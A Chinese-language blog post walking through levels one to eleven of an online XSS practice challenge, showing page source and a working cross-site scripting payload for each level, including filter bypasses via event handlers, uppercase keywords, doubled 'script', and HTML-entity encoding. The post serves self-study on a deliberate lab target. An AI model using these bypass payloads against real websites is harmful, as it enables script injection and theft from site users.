Lemon's blog

XSS学习-XSS挑战之旅(一)

Record my learning process of XSS.

字数统计: 1.9k阅读时长: 8 min
2019/04/28 Share

练习了DVWA靶场中的XSS了解了一些原理和攻击方式,接下来就用在线XSS平台开始实战一番。

在线XSS平台地址
在这里插入图片描述

第一关

用最常用的攻击语句试试。

1
<script>alert(/hacker/)</script>

在这里插入图片描述

第二关

在这里插入图片描述
就先把这个最简单的攻击语句放上去看看

1
<script>alert(/hacker/)</script>

没有出现弹窗,看下页面源代码。

1
2
<input name=keyword  value="<script>alert(/hacker/)</script>">
<input type=submit name=submit value="搜索"/>

观察代码,要想我们的语句起作用,就需要把前面的<input>标签给闭合掉。
那就输入这样的语句:
payload:

1
"><script>alert(/hacker/)</script>

在这里插入图片描述

第三关

在这里插入图片描述
还是那个套路,放上最常用的语句试试
没有成功,看看页面源代码

1
2
<input name=keyword  value='&lt;script&gt;alert(/hacker/)&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />

发现输入的<和>被转义了
既然过滤了<和>,那就换一种攻击方式,用onclick 事件,onclick 事件会在元素被点击时发生。onclick 事件直接包含在<>内,并且可以被执行。再观察页面源代码,是单引号,那就在前面加'把value给闭合掉。
payload:

1
'onclick='javascript:alert(/hacker/)'

输入之后,再点击一下输入框
在这里插入图片描述

第四关

在这里插入图片描述
先拿一个攻击语句测试下,再看看页面源代码。

1
2
<input name=keyword  value="scriptalert(/hacker/)/script">
<input type=submit name=submit value=搜索 />

观察到<和>直接被过滤掉了
那就用onclick 事件,这里是双引号,那就在前面输入",把value给闭合掉。
payload:

1
"onclick="javascript:alert(/hacker/)"

在这里插入图片描述

第五关

在这里插入图片描述
还是那个套路,先输入常用的看看,没有弹窗,看看页面源代码。

1
2
<input name=keyword  value=""o_nclick="javascript:alert(/xss/)"">
<input type=submit name=submit value=搜索 />

发现on中多了一个下划线,所以过滤了onclick事件,试试script,再看页面源代码。

1
2
<input name=keyword  value=""><scr_ipt>alert(/hacker/)</script>">
<input type=submit name=submit value=搜索 />

果然,script也同样被过滤了。
那就用<a>标签构造攻击语句试试。
payload:

1
"><a href="javascript:alert(/xss/)">hacker</a>

也可以再后面加上//注释掉后面的"/,以免对前面的语句产生影响。
在这里插入图片描述

第六关

在这里插入图片描述
输入我们刚才用的语句,看页面源代码。

1
2
<input name=keyword  value="<scr_ipt>alert(/hacker/)</script>">
<input type=submit name=submit value=搜索 />
1
2
<input name=keyword  value=""o_nclick="javascript:alert(/xss/)"">
<input type=submit name=submit value=搜索 />
1
2
<input name=keyword  value=""><a hr_ef="javascript:alert(/xss/)">点这里</a>//">
<input type=submit name=submit value=搜索 />

可以看到在这里,hrefscriptonclick事件都被过滤了。
这里过滤的是onclick,改为大写试试。
payload:

1
"ONCLICK="javascript:alert(/hacker/)"

在这里插入图片描述
在浏览博客的时候也看到一个大佬用的payload

1
"><svg x="" Onclick=alert(1)>

利用<svg>标签进行攻击。

第七关

在这里插入图片描述
输入"><a href="javascript:alert(/xss/)">
查看页面源代码

1
2
<input name=keyword  value=""><a ="java:alert(/xss/)">点这里</a>//">
<input type=submit name=submit value=搜索 />

输入"><script>alert(/hacker/)</script>
查看页面源代码

1
2
<input name=keyword  value=""><>alert(/hacker/)</>">
<input type=submit name=submit value=搜索 />

这次更狠,直接把关键字给过滤没了
用双写绕过
payload:

1
"><sscriptcript>alert(/hacker/)</sscriptcript>

过滤掉中的script,但是一旦过滤掉,前后又可以重新拼接起来,形成一个完整的语句。
在这里插入图片描述

第八关

在这里插入图片描述
输入"onclick="javascript:alert(/hacker/)"
发现href,script被过滤,就试试onclick事件。
页面源代码:

1
2
<input name=keyword  value="&quot;onclick=&quot;javascript:alert(/hacker/)&quot;">
<input type=submit name=submit value=添加友情链接 />

发现",<,>也被转义了。
再次观察源代码,发现友情链接。。。真的是提示,这不就是<a>标签绕过吗?

1
2
3
4
<input name=keyword  value="javascript:alert(1)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(1)">友情链接</a>

既然下面有<a>标签,那我们就直接输入这个语句

1
javascript:alert(/hacker/)

但是script会被过滤,换一种方式表达script
采用HTML字符实体转换地址
在这里插入图片描述
方法一:
payload:

1
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/hacker/)

在这里插入图片描述
参考大佬的payload:
方法二:用 html 的自解码机制就可以绕过

1
javasc&#114;ipt:alert(0)

方法三:可以全转换为HTML实体

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九关

在这里插入图片描述
又是友情链接,把刚才的语句输入进去,查看页面源代码。

1
2
3
4
<input name=keyword  value="java&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x74;:alert(/hacker/)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>

我们输入的语句并没有进入到 <a>标签中,这里应该对格式有一定要求,查看大佬的博客后发现需要添加http://,否则不合法。
payload:

1
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/hacker/)//http://

在这里插入图片描述
第九关和第八关类似,区别就是第九关添加了url验证合法性。

第十关

在这里插入图片描述
这次更狠,连个输入框都不给。那就先看一下页面源代码吧

1
2
3
4
5
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>

一脸懵,不知道该如何下手了,只能去查看大佬的wp了。
先测试测试哪个可以注入
在这里插入图片描述
查看页面源代码,发现

1
2
3
<input name="t_link"  value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value=""text"" type="hidden">

找到了,t_sort就是注入点,那就开始注入吧
代码中有隐藏的参数设置,把hidden改为text
payload:

1
&t_sort="onclick="alert(/hacker/)"type="text"

也可以

1
&t_sort=" type="text" onclick="alert(/hacker/)

在这里插入图片描述

第十一关

在这里插入图片描述
还没有输入框,那类型应该和第十关比较类似,先看页面源代码。

1
2
3
4
5
6
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="http://test.xss.tv/level10.php?keyword=well%20done!&t_sort=%22%20type=%22text%22%20onclick=%22alert(1)" type="hidden">
</form>

一样的方法,先测试一下看那个可以注入
在这里插入图片描述
查看页面源代码

1
2
3
4
5
6
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="3" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>

发现了t_sort是可以注入的,把刚才的payload拿来试试

1
<input name="t_sort"  value="&quot;onclick=&quot;alert(/hacker/)&quot;type=&quot;text&quot;" type="hidden">

发现"被转义了,把"转化为HTML实体也不行。查大佬的wp吧
发现做到这一关需要burpsuite抓包工具来帮忙,所以先做到这里,等到会用抓包工具了,再回过头来继续做。

未完待续————————

CATALOG
  1. 1. 第一关
  2. 2. 第二关
  3. 3. 第三关
  4. 4. 第四关
  5. 5. 第五关
  6. 6. 第六关
  7. 7. 第七关
  8. 8. 第八关
  9. 9. 第九关
  10. 10. 第十关
  11. 11. 第十一关